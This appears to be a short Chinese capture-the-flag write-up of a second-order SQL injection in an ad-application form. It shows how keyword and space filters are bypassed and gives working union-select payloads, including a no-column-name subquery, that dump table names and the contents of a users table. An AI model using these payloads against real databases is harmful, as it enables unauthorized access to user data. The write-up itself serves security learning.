注册并登录后发现,sql注入,注入点在广告申请的界面。加单引号发现报错
先通过insert插入数据,然后再通过id查询相应的数据,所以是二次注入。
常见报错函数updatexml,floor以及extractvalue被过滤
注释符被过滤因此要闭合单引号
空格被过滤,不过可以用/**/绕过。
or被过滤所以order和infor都不能用。
首先使用group代替order
查字段数:1'/**/group/**/by/**/23,'1-->报错。1'/**/group/**/by/**/22,'1-->无报错。有22个字段。
查表名:1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22。2和3有回显
构造1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
mysql.innodb_table_stats参考链接:https://www.anquanke.com/post/id/193512
得到表名users
在不知道列名以及不能使用information_schema的情况下,利用子查询进行无列名注入。简要概括就是利用union select用字符替代相应的列名
最终payload:-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
这里的as x 是必须的FROM 部分中的每一个表都必须有一个名字,在子查询中 SELECT 的每一列都必须有一个独一无二的名字。
无列名注入参考链接:https://y4er.com/post/no-column-name-injection/